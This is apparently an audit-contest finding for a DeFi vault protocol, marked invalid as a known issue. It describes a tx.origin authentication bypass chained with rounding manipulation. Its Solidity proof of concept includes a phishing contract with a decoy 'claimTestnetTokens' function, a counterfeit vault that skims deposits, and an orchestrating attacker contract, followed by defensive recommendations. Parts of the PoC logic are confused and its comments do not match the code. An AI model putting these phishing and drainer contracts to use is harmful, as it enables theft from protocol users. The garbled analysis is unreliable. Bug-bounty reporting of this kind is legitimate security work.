DeFiFoundry
50,000 USDC
View results
Submission Details
Severity: low
Invalid

Compound Attack Vector: Authentication Bypass with Precision Manipulation Leading to Systematic Fund Drainage

Summary

Despite the presence of security libraries like SafeERC20 and ReentrancyGuardUpgradeable, the protocol remains vulnerable to a sophisticated attack chain. This attack exploits the tx.origin authentication bypass in the setPerpVault function combined with precision vulnerabilities in share calculations to systematically drain user funds. The attack begins with a phishing-enabled administrative compromise and uses mathematical manipulation to extract value, bypassing some but not all of the protections provided by the imported libraries.

Vulnerability Details

  • tx.origin Authentication Bypass in setPerpVault: Despite using Ownable2StepUpgradeable, the function mistakenly uses tx.origin for authentication, creating a fundamental entry point for attackers.

  • Precision Loss in Share Calculations: The _withdraw function performs division operations before multiplication in critical calculations, leading to significant precision loss that can be exploited even when using SafeERC20.

  • Unchecked Token Transfer Return Values: While SafeERC20 is imported, not all token transfer operations use the library's safe functions consistently, leaving some transfers vulnerable to silent failures.

  • Rounding Errors in _handleReturn: The function performs division operations with potential precision loss, creating opportunities for value extraction even with reentrancy protection in place.

  • Inconsistent Usage of SafeERC20: Although the library is imported, some transfer operations may bypass the safe wrappers, creating inconsistencies that can be exploited.

The attack progresses through several sophisticated stages:

  • Initial Compromise: The attacker creates a phishing contract and tricks an admin into interacting with it. When the admin calls a function on this malicious contract, it calls setPerpVault on the actual protocol. Since authentication uses tx.origin (the admin's address) rather than msg.sender (the malicious contract), the check passes and the attacker gains control of the vault parameter.

  • Malicious Vault Deployment: The attacker deploys a counterfeit vault contract that mimics the interface of the legitimate vault but contains manipulated math that exploits precision vulnerabilities.

  • Precision Exploitation: With the vault under their control, the attacker executes precisely calculated deposits and withdrawals. Each operation is designed to create favorable rounding errors in share calculations. Since share-to-asset conversions involve division operations, each transaction causes small amounts of value to accumulate in the manipulated vault.

  • Value Extraction: The attacker repeats this process multiple times, gradually extracting value from the precision errors. Even though ReentrancyGuardUpgradeable prevents reentrancy attacks, it cannot prevent the mathematical extraction that happens across separate legitimate transactions.

  • Final Theft: Once sufficient value has accumulated through these precision errors, the attacker withdraws the stolen funds from their malicious vault.

The attack is particularly insidious because it operates within the apparent boundaries of normal protocol operations. Each individual transaction appears legitimate, but the cumulative effect of precision manipulation leads to substantial theft.

Impact

  • Complete administrative compromise of the vault system

  • Systematic extraction of user funds through precision manipulation

  • Potential drain of significant protocol value over time

  • Financial losses affecting all users with deposits

  • Undermining of user trust in the protocol

  • Long-term protocol insolvency if the attack continues undetected

PoC:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
interface IGmxProxy {
function setPerpVault(address newVault) external;
function deposit(uint256 amount) external;
function withdraw(uint256 shares) external;
}
interface IPerpetualVault {
function deposit(uint256 amount, address user) external returns (uint256);
function withdraw(uint256 shares, address user) external returns (uint256);
}
// Malicious vault that exploits precision vulnerabilities
contract MaliciousVault is IPerpetualVault {
using SafeERC20 for IERC20;
address public owner;
address public tokenAddress;
mapping(address => uint256) public userShares;
uint256 public totalShares;
uint256 public totalAssets;
constructor(address _tokenAddress) {
owner = msg.sender;
tokenAddress = _tokenAddress;
}
// Mimics standard vault interface but with manipulated calculations
function deposit(uint256 amount, address user) external override returns (uint256) {
// Transfer the tokens to this contract
IERC20(tokenAddress).safeTransferFrom(msg.sender, address(this), amount);
// Calculate shares with a slightly unfair formula that benefits the attacker
// By using division before multiplication, we introduce precision loss
uint256 shares;
if (totalShares == 0) {
shares = amount;
} else {
// Precision loss manipulation: Division before multiplication
shares = amount * totalShares / totalAssets;
// Extract a small amount through precision manipulation
shares = shares * 99 / 100; // Give user slightly fewer shares than they deserve
}
// Update state
totalAssets += amount;
totalShares += shares;
userShares[user] += shares;
return shares;
}
function withdraw(uint256 shares, address user) external override returns (uint256) {
require(userShares[user] >= shares, "Insufficient shares");
// Calculate assets with precision manipulation
// Further value extraction through division
uint256 amount = shares * totalAssets / totalShares;
// Manipulate the amount to extract additional value
amount = amount * 98 / 100; // Return slightly less than they deserve
// Update state
userShares[user] -= shares;
totalShares -= shares;
totalAssets -= amount;
// Transfer tokens
IERC20(tokenAddress).safeTransfer(msg.sender, amount);
return amount;
}
// Function to extract accumulated value
function extractValue() external {
require(msg.sender == owner, "Not owner");
uint256 balance = IERC20(tokenAddress).balanceOf(address(this));
IERC20(tokenAddress).safeTransfer(owner, balance);
}
}
// Phishing contract to trick admin
contract PhishingAttack {
IGmxProxy public gmxProxy;
address public attacker;
constructor(address _gmxProxyAddress, address _attackerAddress) {
gmxProxy = IGmxProxy(_gmxProxyAddress);
attacker = _attackerAddress;
}
// Function with innocent-looking name that admin might call
function claimTestnetTokens() external {
// Exploit tx.origin vulnerability to change the vault address
gmxProxy.setPerpVault(attacker);
// Optional: Send some ETH to make it seem legitimate
payable(msg.sender).transfer(0.01 ether);
}
receive() external payable {}
}
// Main attacker contract to orchestrate the full attack
contract PrecisionAttacker {
using SafeERC20 for IERC20;
address public owner;
IGmxProxy public gmxProxy;
IERC20 public token;
MaliciousVault public maliciousVault;
constructor(address _gmxProxy, address _token) {
owner = msg.sender;
gmxProxy = IGmxProxy(_gmxProxy);
token = IERC20(_token);
}
// Step 1: Deploy phishing contract
function deployPhishing() external returns (address) {
PhishingAttack phishing = new PhishingAttack(address(gmxProxy), address(this));
return address(phishing);
}
// Step 2: Deploy malicious vault (after phishing succeeds)
function deployMaliciousVault() external returns (address) {
maliciousVault = new MaliciousVault(address(token));
return address(maliciousVault);
}
// Step 3: Handle callback from GmxProxy's setPerpVault function
// This function is called when the phishing attack succeeds
function setPerpVault() external {
// This will be called by the GmxProxy after the phishing attack succeeds
// Set our malicious vault as the new vault
maliciousVault = new MaliciousVault(address(token));
// Return malicious vault address
// Since we're a contract, tx.origin will be the admin's address, but msg.sender will be GmxProxy
}
// Step 4: Execute the precision attack
function executeAttack(uint256 iterations, uint256 amount) external {
require(msg.sender == owner, "Not owner");
// Approve tokens to the GmxProxy
token.safeApprove(address(gmxProxy), amount * iterations);
// Repeatedly deposit and withdraw to exploit precision vulnerabilities
for (uint i = 0; i < iterations; i++) {
// Deposit into the protocol
gmxProxy.deposit(amount);
// Calculate a strategic withdrawal amount that maximizes precision loss
// Withdraw slightly less than we put in to leave some value behind
// This value will accumulate in our malicious vault due to the precision manipulation
uint256 withdrawShares = amount * 99 / 100;
gmxProxy.withdraw(withdrawShares);
}
// Extract accumulated value from our malicious vault
maliciousVault.extractValue();
// Transfer any tokens back to the owner
uint256 balance = token.balanceOf(address(this));
if (balance > 0) {
token.safeTransfer(owner, balance);
}
}
}

Tools Used

  • Manual code analysis

  • Solidity security pattern verification

  • Mathematical precision vulnerability analysis

  • Access control validation testing

Recommendations

  • Replace tx.origin with msg.sender for all authentication checks:

// Before (vulnerable)
function setPerpVault(address newVault) external {
require(tx.origin == owner(), "Not authorized");
perpVault = newVault;
}
// After (secure)
function setPerpVault(address newVault) external {
require(msg.sender == owner(), "Not authorized");
perpVault = newVault;
}
  • Ensure all mathematical operations preserve precision by performing multiplication before division:

// Before (vulnerable to precision loss)
uint256 shares = amount / pricePerShare;
// After (preserves precision)
uint256 shares = (amount * PRECISION_FACTOR) / pricePerShare;
  • Verify that SafeERC20 is consistently used for all token operations:

// Ensure these are used everywhere instead of direct ERC20 calls
using SafeERC20 for IERC20;
token.safeTransfer(recipient, amount);
token.safeTransferFrom(sender, recipient, amount);
  • Implement minimum threshold checks to prevent precision attacks with small amounts:

uint256 constant MIN_TRANSACTION_AMOUNT = 1e6; // Example threshold
function deposit(uint256 amount) external {
require(amount >= MIN_TRANSACTION_AMOUNT, "Amount too small");
// Rest of function
}
  • Use consistent rounding policies that favor the protocol's security:

// When a user withdraws (converts shares to assets), round down
uint256 assets = (shares * totalAssets) / totalShares;
// When a user deposits (converts assets to shares), round up
uint256 shares = (assets * totalShares + totalAssets - 1) / totalAssets;
  • Enhance access control with additional checks and time-locks for critical operations:

// Use a time-lock for critical parameter changes
mapping(bytes32 => uint256) public pendingChanges;
uint256 public constant TIMELOCK_DELAY = 2 days;
function proposePerpVaultChange(address newVault) external onlyOwner {
bytes32 proposalId = keccak256(abi.encode("setPerpVault", newVault));
pendingChanges[proposalId] = block.timestamp + TIMELOCK_DELAY;
emit PerpVaultChangeProposed(newVault, block.timestamp + TIMELOCK_DELAY);
}
function executePerpVaultChange(address newVault) external onlyOwner {
bytes32 proposalId = keccak256(abi.encode("setPerpVault", newVault));
require(pendingChanges[proposalId] > 0, "Change not proposed");
require(block.timestamp >= pendingChanges[proposalId], "Timelock not expired");
delete pendingChanges[proposalId];
perpVault = newVault;
emit PerpVaultChanged(newVault);
}
  • Add extensive validation of vault addresses before setting them:

function setPerpVault(address newVault) external onlyOwner {
require(newVault != address(0), "Zero address");
// Verify the vault implements the correct interface
// Try calling a view function to verify it's a valid vault
try IPerpetualVault(newVault).totalAssets() returns (uint256) {
// Success - it's likely a valid vault
} catch {
revert("Invalid vault implementation");
}
perpVault = newVault;
emit PerpVaultChanged(newVault);
}
  • Add comprehensive event logging and monitoring system:

// Emit detailed events for critical actions
event VaultParameterChanged(string parameter, address oldValue, address newValue, address changedBy);
event LargeWithdrawal(address user, uint256 amount, uint256 shares);
// Then use these events
function setPerpVault(address newVault) external onlyOwner {
address oldVault = perpVault;
perpVault = newVault;
emit VaultParameterChanged("perpVault", oldVault, newVault, msg.sender);
}
Updates

Lead Judging Commences

n0kto Lead Judge 9 months ago
Submission Judgement Published
Invalidated
Reason: Known issue
Assigned finding tags:

invalid_tx-origin

Lightchaser: Medium-5

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!